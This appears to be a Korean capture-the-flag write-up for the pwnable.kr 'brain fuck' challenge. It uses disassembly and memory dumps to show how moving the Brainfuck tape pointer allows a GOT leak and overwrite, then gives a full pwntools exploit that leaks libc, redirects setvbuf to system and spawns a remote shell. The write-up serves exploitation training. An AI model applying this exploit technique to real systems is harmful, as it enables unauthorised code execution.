I made a simple brain-fuck language emulation program written in C. 
The [ ] commands are not implemented yet. However the rest functionality seems working fine. 
Find a bug and exploit it to get a shell. 

 

brainfuck에 관한 문제인듯 하다. brainfuck은 프로그래밍 언어인데, 문법은 다음과 같다. (출처 나무위키namu.wiki/w/BrainFuck)

  • > : 포인터 증가

  • < : 포인터 감소

  • + : 포인터가 가리키는 바이트의 값을 증가

  • - : 포인터가 가리키는 바이트의 값을 감소

  • . : 포인터가 가리키는 바이트 값을 아스키 코드 문자로 출력한다.

  • , : 포인터가 가리키는 바이트에 아스키 코드 값을 입력한다. 쉽게 말해서 입력 받는 역할이다.

  • [ : 포인터가 가리키는 바이트의 값이 0이 되면 짝이 되는 ]로 이동한다. 의사코드로는 while(*ptr != 0) {...} 이다.

  • ] : 포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 [로 이동한다.

이 문제에선 [] 루프는 구현이 되어 있지 않다. 아무튼 코드를 보자

Dump of assembler code for function main:
   0x08048671 <+0>:     push   ebp
   0x08048672 <+1>:     mov    ebp,esp
   0x08048674 <+3>:     push   ebx
   0x08048675 <+4>:     and    esp,0xfffffff0
   0x08048678 <+7>:     sub    esp,0x430
   0x0804867e <+13>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048681 <+16>:    mov    DWORD PTR [esp+0x1c],eax
   0x08048685 <+20>:    mov    eax,gs:0x14
   0x0804868b <+26>:    mov    DWORD PTR [esp+0x42c],eax
   0x08048692 <+33>:    xor    eax,eax
   0x08048694 <+35>:    mov    eax,ds:0x804a060
   0x08048699 <+40>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486a1 <+48>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486a9 <+56>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486b1 <+64>:    mov    DWORD PTR [esp],eax
   0x080486b4 <+67>:    call   0x80484b0 <setvbuf@plt>
   0x080486b9 <+72>:    mov    eax,ds:0x804a040
   0x080486be <+77>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486c6 <+85>:    mov    DWORD PTR [esp+0x8],0x1
   0x080486ce <+93>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486d6 <+101>:   mov    DWORD PTR [esp],eax
   0x080486d9 <+104>:   call   0x80484b0 <setvbuf@plt>
   0x080486de <+109>:   mov    DWORD PTR ds:0x804a080,0x804a0a0
   0x080486e8 <+119>:   mov    DWORD PTR [esp],0x804890c
   0x080486ef <+126>:   call   0x8048470 <puts@plt>
   0x080486f4 <+131>:   mov    DWORD PTR [esp],0x8048934
   0x080486fb <+138>:   call   0x8048470 <puts@plt>
   0x08048700 <+143>:   mov    DWORD PTR [esp+0x8],0x400
   0x08048708 <+151>:   mov    DWORD PTR [esp+0x4],0x0
   0x08048710 <+159>:   lea    eax,[esp+0x2c]
   0x08048714 <+163>:   mov    DWORD PTR [esp],eax
   0x08048717 <+166>:   call   0x80484c0 <memset@plt>
   0x0804871c <+171>:   mov    eax,ds:0x804a040
   0x08048721 <+176>:   mov    DWORD PTR [esp+0x8],eax
   0x08048725 <+180>:   mov    DWORD PTR [esp+0x4],0x400
   0x0804872d <+188>:   lea    eax,[esp+0x2c]
   0x08048731 <+192>:   mov    DWORD PTR [esp],eax
   0x08048734 <+195>:   call   0x8048450 <fgets@plt>
   0x08048739 <+200>:   mov    DWORD PTR [esp+0x28],0x0
   0x08048741 <+208>:   jmp    0x8048760 <main+239>
   0x08048743 <+210>:   lea    edx,[esp+0x2c]
   0x08048747 <+214>:   mov    eax,DWORD PTR [esp+0x28]
   0x0804874b <+218>:   add    eax,edx
   0x0804874d <+220>:   movzx  eax,BYTE PTR [eax]
   0x08048750 <+223>:   movsx  eax,al
   0x08048753 <+226>:   mov    DWORD PTR [esp],eax
   0x08048756 <+229>:   call   0x80485dc <do_brainfuck>
   0x0804875b <+234>:   add    DWORD PTR [esp+0x28],0x1
   0x08048760 <+239>:   mov    ebx,DWORD PTR [esp+0x28]
   0x08048764 <+243>:   lea    eax,[esp+0x2c]
   0x08048768 <+247>:   mov    DWORD PTR [esp],eax
   0x0804876b <+250>:   call   0x8048490 <strlen@plt>
   0x08048770 <+255>:   cmp    ebx,eax
   0x08048772 <+257>:   jb     0x8048743 <main+210>
   0x08048774 <+259>:   mov    eax,0x0
   0x08048779 <+264>:   mov    edx,DWORD PTR [esp+0x42c]
   0x08048780 <+271>:   xor    edx,DWORD PTR gs:0x14
   0x08048787 <+278>:   je     0x804878e <main+285>
   0x08048789 <+280>:   call   0x8048460 <__stack_chk_fail@plt>
   0x0804878e <+285>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048791 <+288>:   leave
   0x08048792 <+289>:   ret

 

처음에 fgets로 0x400만큼 입력을 받고 1바이트씩 do_brainfuck을 실행한다.

 

Dump of assembler code for function do_brainfuck:
   0x080485dc <+0>:     push   ebp
   0x080485dd <+1>:     mov    ebp,esp
   0x080485df <+3>:     push   ebx
   0x080485e0 <+4>:     sub    esp,0x24
   0x080485e3 <+7>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080485e6 <+10>:    mov    BYTE PTR [ebp-0xc],al
   0x080485e9 <+13>:    movsx  eax,BYTE PTR [ebp-0xc]
   0x080485ed <+17>:    sub    eax,0x2b
   0x080485f0 <+20>:    cmp    eax,0x30
   0x080485f3 <+23>:    ja     0x804866b <do_brainfuck+143>
   0x080485f5 <+25>:    mov    eax,DWORD PTR [eax*4+0x8048848]
   0x080485fc <+32>:    jmp    eax
   0x080485fe <+34>:    mov    eax,ds:0x804a080
   0x08048603 <+39>:    add    eax,0x1
   0x08048606 <+42>:    mov    ds:0x804a080,eax
   0x0804860b <+47>:    jmp    0x804866b <do_brainfuck+143>
   0x0804860d <+49>:    mov    eax,ds:0x804a080
   0x08048612 <+54>:    sub    eax,0x1
   0x08048615 <+57>:    mov    ds:0x804a080,eax
   0x0804861a <+62>:    jmp    0x804866b <do_brainfuck+143>
   0x0804861c <+64>:    mov    eax,ds:0x804a080
   0x08048621 <+69>:    movzx  edx,BYTE PTR [eax]
   0x08048624 <+72>:    add    edx,0x1
   0x08048627 <+75>:    mov    BYTE PTR [eax],dl
   0x08048629 <+77>:    jmp    0x804866b <do_brainfuck+143>
   0x0804862b <+79>:    mov    eax,ds:0x804a080
   0x08048630 <+84>:    movzx  edx,BYTE PTR [eax]
   0x08048633 <+87>:    sub    edx,0x1
   0x08048636 <+90>:    mov    BYTE PTR [eax],dl
   0x08048638 <+92>:    jmp    0x804866b <do_brainfuck+143>
   0x0804863a <+94>:    mov    eax,ds:0x804a080
   0x0804863f <+99>:    movzx  eax,BYTE PTR [eax]
   0x08048642 <+102>:   movsx  eax,al
   0x08048645 <+105>:   mov    DWORD PTR [esp],eax
   0x08048648 <+108>:   call   0x80484d0 <putchar@plt>
   0x0804864d <+113>:   jmp    0x804866b <do_brainfuck+143>
   0x0804864f <+115>:   mov    ebx,DWORD PTR ds:0x804a080
   0x08048655 <+121>:   call   0x8048440 <getchar@plt>
   0x0804865a <+126>:   mov    BYTE PTR [ebx],al
   0x0804865c <+128>:   jmp    0x804866b <do_brainfuck+143>
   0x0804865e <+130>:   mov    DWORD PTR [esp],0x8048830
   0x08048665 <+137>:   call   0x8048470 <puts@plt>
   0x0804866a <+142>:   nop
   0x0804866b <+143>:   add    esp,0x24
   0x0804866e <+146>:   pop    ebx
   0x0804866f <+147>:   pop    ebp
   0x08048670 <+148>:   ret

do_brainfuck 함수는 입력을 1바이트씩 해석해서 처리하는데, 포인터 값이 담긴 주소는 0x804a080인 것 같다. 확인해보자

 

gef➤  x /wx 0x804a080
0x804a080 <p>:  0x0804a0a0

 

포인터는 0x0804a0a0인 것 같다. 그러면 이곳에 입력 받은 brainfuck 바이트에 해당하는 처리를 해주는 것이다.

이제 중요한건 bug를 찾는건데, 포인터 값을 내가 원하는 주소로 바꿔서 해당 주소에 원하는 값을 쓰는게 가능할 것 같다. 포인터는 1바이트씩 증감시킬 수 있으므로 근처 영역의 주소에 쓸만한게 있는지 찾아보았다.

 

gef➤  x /100wx 0x804a000
0x804a000:      0x08049f14      0xf7ffd950      0xf7fe9680      0x08048446
0x804a010 <fgets@got.plt>:      0xf7e3d740      0x08048466      0xf7e3f0a0      0x08048486
0x804a020 <strlen@got.plt>:     0x08048496      0xf7df0a50      0xf7e3f700      0xf7f16ef0
0x804a030 <putchar@got.plt>:    0x080484d6      0x00000000      0x00000000      0x00000000
0x804a040 <stdin@@GLIBC_2.0>:   0xf7fb05c0      0x00000000      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060 <stdout@@GLIBC_2.0>:  0xf7fb0d80      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080 <p>:  0x0804a0a0      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0 <tape>:       0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0 <tape+16>:    0x00000000      0x00000000      0x00000000      0x00000000

 

0x804a000부터 뭔가 함수들의 got 주소가 적혀 있는게 보인다. 그럼 당연히 got overwrite으로 덤벼보자. 쉘을 얻어야 하기 때문에 RTL로 system("/bin/sh")를 실행하는 것을 목표로 삼았다. 그러면 필요한 것은, 

 

i) system 함수 위치

ii) /bin/sh 스트링

 

이다.

 

system 함수의 위치는 적혀 있는 함수들의 주소를 leak해서 libc base 주소를 구하면 쉽게 구할 수 있다. 그리고 /bin/sh 스트링도 leak 할 수 있는데, 이것보다 문제에 준비된 0x0804a0a0 공간에 그냥 넣고 이 부분을 인자로하는 flow를 가져가려고 했다. 그러면 필요한 코드 조각은 대충 0x804a0a0을 스택에 push하고, call system을 하면 되겠다. 여기까지 하고 나면 정리가 필요하다.

 

우선은, 0x804a0a0 부분에 /bin/sh 스트링을 넣는다. 이는 다음과 같은 brainfuck 코드로 수행한다.

 

",>"*7

 

즉 1바이트쓰고 포인터를 1씩 증가시키는 방법을 총 7번 반복해서 /bin/sh 스트링을 넣는것이다.

 

이후에는 system 함수 위치를 알기 위해 적당한 아무 함수의 주소나 leak이 필요하다. 나는 fgets를 타겟으로 삼았다. fgets는 0x804a010 부분에 저장되어 있다. 따라서 여기까지 포인터를 이동해야하는데, 현재 포인터는 /bin/sh 스트링을 쓰고 한칸 더 이동해있기 때문에, 0x804a0a7 부분에 있다. 따라서 이 차이만큼 우선 이동을 해준다.

 

"<"*0x97

 

그리고 0x804a010에서부터 4바이트 주소를 1바이트씩 출력하기 위해서,

 

".>"*4

 

이 시점에서 fgets leak을 얻을 수 있고, 해당 leak을 통해 다음과 같은 방법으로 system 함수 위치를 구한다.

 

libc_base = fgets_leak - <libc_fgets_offset>

system_addr = libc_base + <libc_system_offset>

 

이렇게 구한 system 함수 위치를 내가 덮어쓸 함수의 got에 넣어야 되는데, 이 타겟은 처음에는 막연하게 putchar로 생각했었는데, putchar의 경우에 1바이트를 출력하는 함수기 때문에 실행 흐름에서 0x804a0a0을 스택에 push 할 수가 없고 1바이트만 push 되서 사용할 수가 없었다. 여기서 좀 헤맸는데, 일단 함수들을 다 살펴보고 나니까 프로그램 초반에 실행되는 setvbuf 함수가 눈에 띄었다.

 

   0x08048694 <+35>:    mov    eax,ds:0x804a060
   0x08048699 <+40>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486a1 <+48>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486a9 <+56>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486b1 <+64>:    mov    DWORD PTR [esp],eax
   0x080486b4 <+67>:    call   0x80484b0 <setvbuf@plt>

 

setvbuf 함수는 0x804a060이 가리키는 값을 eax에 넣고, 이를 스택에 push 하는데, 0x804a060은 고맙게도 내가 조작할 수 있는 부분이다. 그렇다면 해야할 일은,

 

i) setvbuf의 got를 system 함수 위치로 덮어쓰기

ii) 0x804a060 주소에 0x804a0a0 값 넣기

iii) 0x8048694로 뛰기

 

이다. 우선 setvbuf의 got 주소를 확인해보면 0x804a028이다. 현재 포인터는 0x804a014에 머물러 있기 때문에, 0x804a028까지 이동 후 4바이트를 쓰는 코드는 다음과 같다.

 

">"*0x14 + ",>"*4

 

이후에는 0x8048694로 뛰기 위해 제일 가까우면서 트리거하기 쉬운 putchar 함수의 got를 덮어쓰기로 했다. putchar got는 0x804a030이고 현재 포인터는 0x804a02c이다. 따라서,

 

">"*0x4 + ",>"*4

 

이후에는 0x804a060 부분에 0x804a0a0 값을 쓰기 위해 해당 부분으로 이동하고 4바이트를 써야 한다. 현재 포인터는 0x804a034이다. 따라서,

 

">"*0x2c" + ",>"*4

 

그러면 exploit을 하기 위한 세팅이 모두 끝났다. putchar 함수(사실은 0x8048694)를 실행하기 위해

 

"."

 

를 입력하면 끝이다.

 

이후에 넣어야 할 입력들은 순서에 맞게 적절히 넣어주면 된다. 순서는 다음과 같다.

 

i) /bin/sh 문자열

ii) system 함수 주소

iii) 0x8048694

iv) 0x804a0a0

 

exploit 코드는 다음과 같다.

from pwn import *

e = ELF('bf', checksec=False)
libc = ELF('bf_libc.so', checksec=False)

payload = ",>"*7 + "<"*0x97 + ".>"*4 + ">"*0x14 + ",>"*4 + ">"*0x4 + ",>"*4 + ">"*0x2c + ",>"*4 + "."
string = "/bin/sh"
setvbuf_jump = p32(0x8048694)
string_addr = p32(0x804a0a0)
#p = process("/root/brain_fuck/bf")
p = remote("pwnable.kr", 9001)
print(p.recvuntil(']\n'))
p.sendline(payload)
p.send(string)

fgets_leak = u32(p.recvn(4))
libc_leak = fgets_leak - libc.symbols['fgets']
system_addr = libc_leak + libc.symbols['system']

print("[*] fgets_leak: " + hex(fgets_leak))
print("[*] libc_base: " + hex(libc_leak))
print("[*] system address: " + hex(system_addr))

p.send(p32(system_addr))
p.send(setvbuf_jump)
p.send(string_addr)
p.interactive()

 

 

'pwn' 카테고리의 다른 글

pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

+ Recent posts